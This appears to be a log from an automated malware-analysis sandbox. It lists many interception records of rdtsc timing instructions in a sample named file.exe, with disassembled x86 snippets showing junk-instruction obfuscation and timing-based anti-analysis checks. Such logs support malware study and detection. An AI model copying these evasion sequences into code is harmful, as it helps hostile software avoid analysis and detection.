Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A920A second address: 12A92CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15490E9B99h 0x0000000e nop 0x0000000f mov ecx, dword ptr [ebp+122D2C5Dh] 0x00000015 jne 00007F15490E9B8Ch 0x0000001b push 00000000h 0x0000001d push E5C7AD44h 0x00000022 jmp 00007F15490E9B8Ch 0x00000027 add dword ptr [esp], 1A38533Ch 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F15490E9B88h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 push 00000003h 0x0000004a call 00007F15490E9B98h 0x0000004f movzx edx, si 0x00000052 pop edi 0x00000053 push 00000000h 0x00000055 add edi, 24DD6AEFh 0x0000005b push 00000003h 0x0000005d jmp 00007F15490E9B94h 0x00000062 push 97BEE970h 0x00000067 push eax 0x00000068 push edx 0x00000069 jbe 00007F15490E9B8Ch 0x0000006f jc 00007F15490E9B86h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A92CC second address: 12A92D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9462 second address: 12A9468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9468 second address: 12A946D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A946D second address: 12A9472 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9522 second address: 12A9527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9527 second address: 12A95B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 06F38B7Ah 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F15490E9B88h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov ch, dh 0x0000002e mov ch, 09h 0x00000030 push 00000000h 0x00000032 mov esi, dword ptr [ebp+122D2C05h] 0x00000038 push 00000003h 0x0000003a add dword ptr [ebp+122D282Dh], edi 0x00000040 push BC9FD905h 0x00000045 pushad 0x00000046 push eax 0x00000047 pushad 0x00000048 popad 0x00000049 pop eax 0x0000004a push eax 0x0000004b push esi 0x0000004c pop esi 0x0000004d pop eax 0x0000004e popad 0x0000004f xor dword ptr [esp], 7C9FD905h 0x00000056 mov dword ptr [ebp+122D20CBh], ebx 0x0000005c lea ebx, dword ptr [ebp+1245B0C8h] 0x00000062 mov ch, bh 0x00000064 xchg eax, ebx 0x00000065 push ebx 0x00000066 jmp 00007F15490E9B8Bh 0x0000006b pop ebx 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jng 00007F15490E9B88h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A95B8 second address: 12A95BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA254 second address: 12CA25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA25A second address: 12CA297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007F1548D0B2F6h 0x0000000e jns 00007F1548D0B2F6h 0x00000014 jmp 00007F1548D0B2FDh 0x00000019 popad 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1548D0B2FFh 0x00000022 pushad 0x00000023 jl 00007F1548D0B2F6h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA297 second address: 12CA29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA29C second address: 12CA2A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA582 second address: 12CA588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA588 second address: 12CA58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA58C second address: 12CA592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA592 second address: 12CA5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F1548D0B304h 0x0000000c pop eax 0x0000000d je 00007F1548D0B2FEh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CADEF second address: 12CADF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB0BB second address: 12CB0BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB0BF second address: 12CB0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB475 second address: 12CB479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB479 second address: 12CB483 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB483 second address: 12CB4B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1548D0B301h 0x00000008 jmp 00007F1548D0B2FFh 0x0000000d jc 00007F1548D0B2F6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB4B5 second address: 12CB4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB4B9 second address: 12CB509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B308h 0x00000007 jmp 00007F1548D0B305h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jnc 00007F1548D0B2F6h 0x00000015 jmp 00007F1548D0B307h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB509 second address: 12CB510 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBDA8 second address: 12CBDAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBF06 second address: 12CBF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE8E4 second address: 12CE8E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE8E8 second address: 12CE8F6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE8F6 second address: 12CE8FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF18E second address: 12CF193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2AFD second address: 12D2B31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F1548D0B305h 0x00000008 jmp 00007F1548D0B308h 0x0000000d pop ecx 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12992B8 second address: 12992BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA48D second address: 12DA499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA499 second address: 12DA49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA49F second address: 12DA4A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA4A9 second address: 12DA4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F15490E9B86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA4B3 second address: 12DA4B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA4B7 second address: 12DA4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB3E6 second address: 12DB3F4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB3F4 second address: 12DB3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB486 second address: 12DB4C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B302h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4B326C9Eh 0x00000010 call 00007F1548D0B302h 0x00000015 pop edi 0x00000016 push B893E400h 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007F1548D0B2F8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB76F second address: 12DB779 instructions: 0x00000000 rdtsc 0x00000002 je 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB91B second address: 12DB937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1548D0B308h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DB937 second address: 12DB955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBB18 second address: 12DBB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBB1D second address: 12DBB22 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC06A second address: 12DC06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC2EA second address: 12DC2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC566 second address: 12DC56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC56A second address: 12DC57A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC57A second address: 12DC58B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1548D0B2F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC67C second address: 12DC697 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F15490E9B88h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+12476244h] 0x00000015 xchg eax, ebx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC697 second address: 12DC69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DC69B second address: 12DC6BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15490E9B97h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE7F2 second address: 12DE800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD557 second address: 12DD56C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15490E9B91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE800 second address: 12DE80A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF3FB second address: 12DF405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F15490E9B86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF405 second address: 12DF409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF409 second address: 12DF418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF418 second address: 12DF4A6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1548D0B2F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F1548D0B2F8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov esi, dword ptr [ebp+122D29CDh] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F1548D0B2F8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D3071h], edx 0x0000004f push 00000000h 0x00000051 push 00000000h 0x00000053 push eax 0x00000054 call 00007F1548D0B2F8h 0x00000059 pop eax 0x0000005a mov dword ptr [esp+04h], eax 0x0000005e add dword ptr [esp+04h], 00000014h 0x00000066 inc eax 0x00000067 push eax 0x00000068 ret 0x00000069 pop eax 0x0000006a ret 0x0000006b sub esi, dword ptr [ebp+122D1BA8h] 0x00000071 xchg eax, ebx 0x00000072 push eax 0x00000073 push edx 0x00000074 js 00007F1548D0B2FCh 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF4A6 second address: 12DF4AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFE60 second address: 12DFEC6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e and edi, 64F61312h 0x00000014 push 00000000h 0x00000016 and edi, 2F45FF1Bh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F1548D0B2F8h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 jmp 00007F1548D0B307h 0x0000003d mov esi, 64865E12h 0x00000042 xor dword ptr [ebp+122D28E9h], ecx 0x00000048 push eax 0x00000049 push ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFEC6 second address: 12DFECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E14B9 second address: 12E14BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E14BE second address: 12E1539 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F15490E9B86h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F15490E9B88h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov esi, dword ptr [ebp+122D287Dh] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007F15490E9B88h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 pushad 0x0000004a mov bh, 6Fh 0x0000004c mov dword ptr [ebp+122D333Fh], esi 0x00000052 popad 0x00000053 mov edi, ecx 0x00000055 push 00000000h 0x00000057 sub edi, dword ptr [ebp+1245BF52h] 0x0000005d jmp 00007F15490E9B8Eh 0x00000062 xchg eax, ebx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 jp 00007F15490E9B86h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E1539 second address: 12E1543 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E1543 second address: 12E1571 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jne 00007F15490E9B88h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F15490E9B97h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3ECA second address: 12E3ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E3ECF second address: 12E3EF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15490E9B8Fh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push esi 0x0000000c jns 00007F15490E9B86h 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E552C second address: 12E5556 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B305h 0x00000007 jl 00007F1548D0B2FCh 0x0000000d jc 00007F1548D0B2F6h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5556 second address: 12E555C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E1DD4 second address: 12E1DDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E555C second address: 12E556C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15490E9B8Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E556C second address: 12E5571 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5571 second address: 12E557F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F15490E9B86h 0x0000000a pop edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12927AF second address: 12927B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12927B5 second address: 12927D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F15490E9B94h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12927D0 second address: 12927D5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12927D5 second address: 12927DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12927DE second address: 12927E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12927E4 second address: 12927E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7A4C second address: 12E7A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1548D0B309h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F1548D0B2F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8010 second address: 12E8014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8014 second address: 12E801E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
